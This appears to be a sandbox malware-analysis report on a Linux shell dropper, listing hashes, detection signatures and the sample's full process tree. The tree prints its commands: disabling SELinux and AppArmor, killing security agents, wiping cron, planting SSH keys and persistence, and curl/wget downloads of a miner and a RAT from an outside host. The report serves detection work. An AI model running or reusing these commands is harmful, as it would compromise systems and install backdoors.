Analysis
- max time kernel
30s - max time network
137s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
07/09/2026, 08:54
Static task
static1
Behavioral task
behavioral1
Sample
41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
Resource
debian9-mipsel-20260513-en
General
- Target 41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
- Size 5KB
- Sample260907-kt9vcsshng
- SHA256 41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
- MD5 65c5d621292f9c3c6fc6f94f14148cf3
- SHA1 c3f29fa4765211ac7eb67264ec69e363944413bd
- SHA512 6b9d3420cd2dd359783461b051ec136fd5f674f145286999e6d3dbe02eca5df3606c84098e1cf11047cd297cb2129771670940abc3984f93ea595eff9d49db42
- SSDEEP 96:pr8dwV/R7Jbf3/9Biz09n90IMSxMejUkW8LMBA3/KjqM23HC6Rjeae2:WG/R7hHrMBY/oBAnMCHC6Rjeae2
- TLSH T159C15276E920F7303A0C8D657878EE2C839A14D7C4337804F1CE19C56F79528ED694EA
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Adds new SSH keys 1 TTPs 1 IoCs
Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.
description ioc Process File opened for modification /root/.ssh/authorized_keys 41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc - Disables AppArmor Mandatory Access Control 1 TTPs 10 IoCs
Stops or disables AppArmor via systemctl, removing mandatory access control restrictions on process capabilities and file access.
pid Process 663 systemctl 663 systemctl 663 systemctl 691 systemctl 977 systemctl 990 systemctl 663 systemctl 663 systemctl 1003 systemctl 663 systemctl - Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /etc/cron.d/hermes_sync 41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc - Creates/modifies environment variables 1 TTPs 4 IoCs
Creating/modifying environment variables is a common persistence mechanism.
description ioc Process File opened for modification /root/.bashrc 41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc File opened for modification /root/.profile 41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc File opened for modification /home/user/.bashrc 41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc File opened for modification /home/user/.profile 41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc -
pid Process 659 setenforce - Enumerates running processes
Discovers information about currently running processes on the system
- Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
description ioc Process File opened for modification /etc/systemd/system/hermes-core.service 41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc - Modifies Bash startup script 2 TTPs 4 IoCs
description ioc Process File opened for modification /root/.bashrc 41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc File opened for modification /root/.profile 41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc File opened for modification /home/user/.bashrc 41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc File opened for modification /home/user/.profile 41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc - Checks CPU configuration 1 TTPs 6 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl - Discovers running processes 1 TTPs 23 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 902 ps 911 ps 932 ps 697 ps 714 ps 751 ps 875 ps 920 ps 941 ps 692 ps 724 ps 860 ps 865 ps 885 ps 950 ps 733 ps 880 ps 890 ps 706 ps 742 ps 855 ps 870 ps 897 ps - Reads CPU attributes 1 TTPs 26 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online kill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps - Enumerates kernel/hardware configuration 1 TTPs 19 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl -
description ioc Process File opened for reading /proc/326/cmdline ps File opened for reading /proc/317/status ps File opened for reading /proc/631/stat ps File opened for reading /proc/631/cmdline ps File opened for reading /proc/19/status ps File opened for reading /proc/224/stat ps File opened for reading /proc/707/status ps File opened for reading /proc/634/cmdline ps File opened for reading /proc/21/status ps File opened for reading /proc/326/status ps File opened for reading /proc/632/status ps File opened for reading /proc/26/stat ps File opened for reading /proc/584/cmdline ps File opened for reading /proc/23/cmdline ps File opened for reading /proc/584/cmdline ps File opened for reading /proc/19/stat ps File opened for reading /proc/6/status ps File opened for reading /proc/29/stat ps File opened for reading /proc/3/status ps File opened for reading /proc/641/cmdline ps File opened for reading /proc/158/cmdline ps File opened for reading /proc/632/status ps File opened for reading /proc/10/status ps File opened for reading /proc/22/stat ps File opened for reading /proc/104/status ps File opened for reading /proc/self/maps awk File opened for reading /proc/871/stat ps File opened for reading /proc/133/cmdline ps File opened for reading /proc/700/cmdline ps File opened for reading /proc/224/status ps File opened for reading /proc/632/cmdline ps File opened for reading /proc/27/status ps File opened for reading /proc/295/status ps File opened for reading /proc/584/status ps File opened for reading /proc/642/cmdline pgrep File opened for reading /proc/29/cmdline ps File opened for reading /proc/self/stat ps File opened for reading /proc/584/status ps File opened for reading /proc/18/status ps File opened for reading /proc/41/cmdline ps File opened for reading /proc/4/status ps File opened for reading /proc/158/stat ps File opened for reading /proc/uptime ps File opened for reading /proc/295/stat ps File opened for reading /proc/277/status pgrep File opened for reading /proc/28/stat ps File opened for reading /proc/862/cmdline ps File opened for reading /proc/6/status ps File opened for reading /proc/13/stat ps File opened for reading /proc/945/status ps File opened for reading /proc/133/status ps File opened for reading /proc/3/stat ps File opened for reading /proc/645/cmdline ps File opened for reading /proc/18/stat ps File opened for reading /proc/42/stat ps File opened for reading /proc/17/cmdline ps File opened for reading /proc/17/status ps File opened for reading /proc/16/status pgrep File opened for reading /proc/16/status pgrep File opened for reading /proc/43/cmdline ps File opened for reading /proc/578/stat ps File opened for reading /proc/726/stat ps File opened for reading /proc/74/stat ps File opened for reading /proc/self/maps awk - System Network Configuration Discovery 1 TTPs 12 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1019 curl 1029 curl 1032 wget 1013 wget 1015 curl 1021 wget 1034 curl 1036 wget 1038 curl 1040 wget 1011 curl 1017 wget - Writes file to tmp directory 9 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/hermes_rat wget File opened for modification /tmp/hermes_rat wget File opened for modification /tmp/sh-thd.EXwx9Y 41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc File opened for modification /tmp/sh-thd.YSCXH1 41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc File opened for modification /tmp/hermes_miner wget File opened for modification /tmp/hermes_miner wget File opened for modification /tmp/hermes_rat wget File opened for modification /tmp/sh-thd.kSjDTR 41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc File opened for modification /tmp/hermes_miner wget
Processes
-
/tmp/41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc/tmp/41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc1⤵
- Adds new SSH keys
- Creates/modifies Cron job
- Creates/modifies environment variables
- Modifies systemd
- Modifies Bash startup script
- Writes file to tmp directory
PID:642 -
/bin/catcat2⤵PID:648
-
-
/usr/sbin/setenforcesetenforce 02⤵
- Disables SELinux
PID:659
-
-
/usr/sbin/serviceservice apparmor stop2⤵PID:663
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:666
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:667
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Enumerates kernel/hardware configuration
PID:669
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"3⤵PID:674
-
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"3⤵
- Enumerates kernel/hardware configuration
PID:673
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Enumerates kernel/hardware configuration
PID:679
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Enumerates kernel/hardware configuration
PID:680
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Enumerates kernel/hardware configuration
PID:681
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Enumerates kernel/hardware configuration
PID:682
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Enumerates kernel/hardware configuration
PID:683
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Enumerates kernel/hardware configuration
PID:684
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Enumerates kernel/hardware configuration
PID:685
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Enumerates kernel/hardware configuration
PID:686
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Enumerates kernel/hardware configuration
PID:687
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Enumerates kernel/hardware configuration
PID:688
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Enumerates kernel/hardware configuration
PID:689
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Enumerates kernel/hardware configuration
PID:690
-
-
-
/usr/local/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
PID:663
-
-
/usr/local/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
PID:663
-
-
/usr/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
PID:663
-
-
/usr/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
PID:663
-
-
/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
PID:663
-
-
/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:663
-
-
/bin/systemctlsystemctl disable apparmor2⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:691
-
-
/bin/grepgrep -v grep2⤵PID:693
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:695
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:692
-
-
/bin/grepgrep aegis2⤵PID:694
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:696
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:697
-
-
/bin/grepgrep -v grep2⤵PID:698
-
-
/bin/grepgrep aliyun2⤵PID:699
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:700
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:701
-
-
/bin/grepgrep -v grep2⤵PID:707
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:709
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:706
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:710
-
-
/bin/grepgrep Yun2⤵PID:708
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:714
-
-
/bin/grepgrep hids2⤵PID:716
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:718
-
-
/bin/grepgrep -v grep2⤵PID:715
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:719
-
-
/bin/grepgrep -v grep2⤵PID:725
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:724
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:727
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:728
-
-
/bin/grepgrep cloudwalker2⤵PID:726
-
-
/bin/grepgrep -v grep2⤵PID:734
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:733
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:736
-
-
/bin/grepgrep titanagent2⤵PID:735
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:737
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:742
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:745
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:746
-
-
/bin/grepgrep edr2⤵PID:744
-
-
/bin/grepgrep -v grep2⤵PID:743
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:751
-
-
/bin/grepgrep -v grep2⤵PID:752
-
-
/bin/grepgrep sgagent2⤵PID:753
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:754
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:755
-
-
/bin/grepgrep :232⤵PID:761
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:762
-
-
/bin/grepgrep -v -2⤵PID:764
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:763
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:765
-
-
/bin/grepgrep :1432⤵PID:771
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:772
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:773
-
-
/bin/grepgrep -v -2⤵PID:774
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:775
-
-
/bin/grepgrep :22222⤵PID:778
-
-
/usr/bin/awkawk "{print \$7}"2⤵
- Reads runtime system information
PID:779
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:780
-
-
/bin/grepgrep -v -2⤵PID:781
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:783
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:790
-
-
/bin/grepgrep :33332⤵PID:788
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵
- Reads runtime system information
PID:791
-
-
/bin/grepgrep -v -2⤵PID:792
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:793
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:797
-
-
/bin/grepgrep :33892⤵PID:796
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:798
-
-
/bin/grepgrep -v -2⤵PID:799
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:800
-
-
/bin/grepgrep :55552⤵PID:803
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:805
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:804
-
-
/bin/grepgrep -v -2⤵PID:806
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:807
-
-
/bin/grepgrep :66662⤵PID:812
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:813
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:814
-
-
/bin/grepgrep -v -2⤵PID:815
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:816
-
-
/bin/grepgrep :66652⤵PID:819
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:820
-
-
/bin/grepgrep -v -2⤵PID:822
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:821
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:823
-
-
/bin/grepgrep :66672⤵PID:825
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:826
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:827
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:829
-
-
/bin/grepgrep -v -2⤵PID:828
-
-
/bin/grepgrep :77772⤵PID:831
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:832
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:833
-
-
/bin/grepgrep -v -2⤵PID:834
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:835
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:839
-
-
/bin/grepgrep :84442⤵PID:838
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:840
-
-
/bin/grepgrep -v -2⤵PID:841
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:842
-
-
/bin/grepgrep :33472⤵PID:844
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:845
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:846
-
-
/bin/grepgrep -v -2⤵PID:847
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:848
-
-
/bin/grepgrep :100082⤵PID:850
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:852
-
-
/bin/grepgrep -v -2⤵PID:853
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:851
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:854
-
-
/bin/grepgrep -v grep2⤵PID:856
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:855
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:858
-
-
/bin/grepgrep kdevtmpfsi2⤵PID:857
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:859
-
-
/bin/grepgrep -v grep2⤵PID:861
-
-
/bin/grepgrep kinsing2⤵PID:862
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:863
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:860
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:864
-
-
/bin/grepgrep -v grep2⤵PID:866
-
-
/bin/grepgrep watchdogs2⤵PID:867
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:865
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:868
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:869
-
-
/bin/grepgrep -v grep2⤵PID:871
-
-
/bin/grepgrep kthrotlds2⤵PID:872
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:870
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:873
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:874
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:875
-
-
/bin/grepgrep -v grep2⤵PID:876
-
-
/bin/grepgrep ksoftirqds2⤵PID:877
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:878
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:879
-
-
/bin/grepgrep -v grep2⤵PID:881
-
-
/bin/grepgrep xmrig2⤵PID:882
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:883
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:880
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:884
-
-
/bin/grepgrep -v grep2⤵PID:886
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:885
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:888
-
-
/bin/grepgrep xmr-stak2⤵PID:887
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:889
-
-
/bin/grepgrep -v grep2⤵PID:891
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:890
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:893
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:894
-
-
/bin/grepgrep minerd2⤵PID:892
-
-
/bin/grepgrep -v grep2⤵PID:898
-
-
/bin/grepgrep cryptonight2⤵PID:899
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:900
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:897
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:901
-
-
/bin/grepgrep -v grep2⤵PID:903
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:902
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:905
-
-
/bin/grepgrep watchbog2⤵PID:904
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:906
-
-
/bin/grepgrep -v grep2⤵PID:912
-
-
/bin/grepgrep ddg2⤵PID:913
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:914
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:911
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:915
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:920
-
-
/bin/grepgrep kworker2⤵PID:922
-
-
/bin/grepgrep -v grep2⤵PID:921
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:923
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:924
-
/usr/local/sbin/killkill -9 4 5 6 20 96 104 133 134 1383⤵PID:929
-
-
/usr/local/bin/killkill -9 4 5 6 20 96 104 133 134 1383⤵PID:929
-
-
/usr/sbin/killkill -9 4 5 6 20 96 104 133 134 1383⤵PID:929
-
-
/usr/bin/killkill -9 4 5 6 20 96 104 133 134 1383⤵PID:929
-
-
/sbin/killkill -9 4 5 6 20 96 104 133 134 1383⤵PID:929
-
-
/bin/killkill -9 4 5 6 20 96 104 133 134 1383⤵
- Reads CPU attributes
PID:929
-
-
-
/bin/grepgrep -v grep2⤵PID:933
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:932
-
-
/bin/grepgrep sustse2⤵PID:934
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:935
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:936
-
-
/bin/grepgrep -v grep2⤵PID:942
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:941
-
-
/bin/grepgrep sustse32⤵PID:943
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:944
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:945
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:950
-
-
/bin/grepgrep -v grep2⤵PID:951
-
-
/bin/grepgrep systemctI2⤵PID:952
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:953
-
-
/usr/bin/xargsxargs -r kill -92⤵PID:954
-
-
/usr/bin/crontabcrontab -r2⤵PID:959
-
-
/bin/rmrm -rf /var/spool/cron/atjobs /var/spool/cron/atspool /var/spool/cron/crontabs "/etc/cron.d/*" /var/spool/cron/crontabs /etc/crontab2⤵PID:962
-
-
/bin/mkdirmkdir -p /root/.ssh2⤵PID:963
-
-
/bin/chmodchmod 700 /root/.ssh2⤵PID:965
-
-
/bin/grepgrep -q hermes_worm /root/.ssh/authorized_keys2⤵PID:967
-
-
/bin/chmodchmod 600 /root/.ssh/authorized_keys2⤵PID:968
-
-
/usr/bin/chattrchattr +i /root/.ssh/authorized_keys2⤵PID:969
-
-
/bin/grepgrep -q analytics.js /root/.bashrc2⤵PID:970
-
-
/bin/grepgrep -q analytics.js /root/.profile2⤵PID:971
-
-
/bin/grepgrep -q analytics.js /home/user/.bashrc2⤵PID:972
-
-
/bin/grepgrep -q analytics.js /home/user/.profile2⤵PID:973
-
-
/bin/catcat2⤵PID:974
-
-
/bin/chmodchmod 644 /etc/cron.d/hermes_sync2⤵PID:975
-
-
/bin/catcat2⤵PID:976
-
-
/bin/systemctlsystemctl daemon-reload2⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:977
-
-
/bin/systemctlsystemctl enable hermes-core.service2⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:990
-
-
/bin/systemctlsystemctl start hermes-core.service2⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:1003
-
-
/bin/unameuname -m2⤵PID:1007
-
-
/usr/bin/pgreppgrep -f hermes_miner2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1009
-
-
/usr/bin/seqseq 1 32⤵PID:1010
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/xmrig_arm -o /tmp/hermes_miner2⤵
- Checks CPU configuration
- System Network Configuration Discovery
PID:1011
-
-
/usr/bin/wgetwget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/xmrig_arm -O /tmp/hermes_miner2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1013
-
-
/bin/sleepsleep 22⤵PID:1014
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/xmrig_arm -o /tmp/hermes_miner2⤵
- Checks CPU configuration
- System Network Configuration Discovery
PID:1015
-
-
/usr/bin/wgetwget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/xmrig_arm -O /tmp/hermes_miner2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1017
-
-
/bin/sleepsleep 22⤵PID:1018
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/xmrig_arm -o /tmp/hermes_miner2⤵
- Checks CPU configuration
- System Network Configuration Discovery
PID:1019
-
-
/usr/bin/wgetwget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/xmrig_arm -O /tmp/hermes_miner2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1021
-
-
/bin/sleepsleep 22⤵PID:1022
-
-
/bin/unameuname -m2⤵PID:1025
-
-
/usr/bin/pgreppgrep -f hermes_rat2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1026
-
-
/usr/bin/seqseq 1 32⤵PID:1028
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/vortex.arm -o /tmp/hermes_rat2⤵
- Checks CPU configuration
- System Network Configuration Discovery
PID:1029
-
-
/usr/bin/wgetwget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/vortex.arm -O /tmp/hermes_rat2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1032
-
-
/bin/sleepsleep 22⤵PID:1033
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/vortex.arm -o /tmp/hermes_rat2⤵
- Checks CPU configuration
- System Network Configuration Discovery
PID:1034
-
-
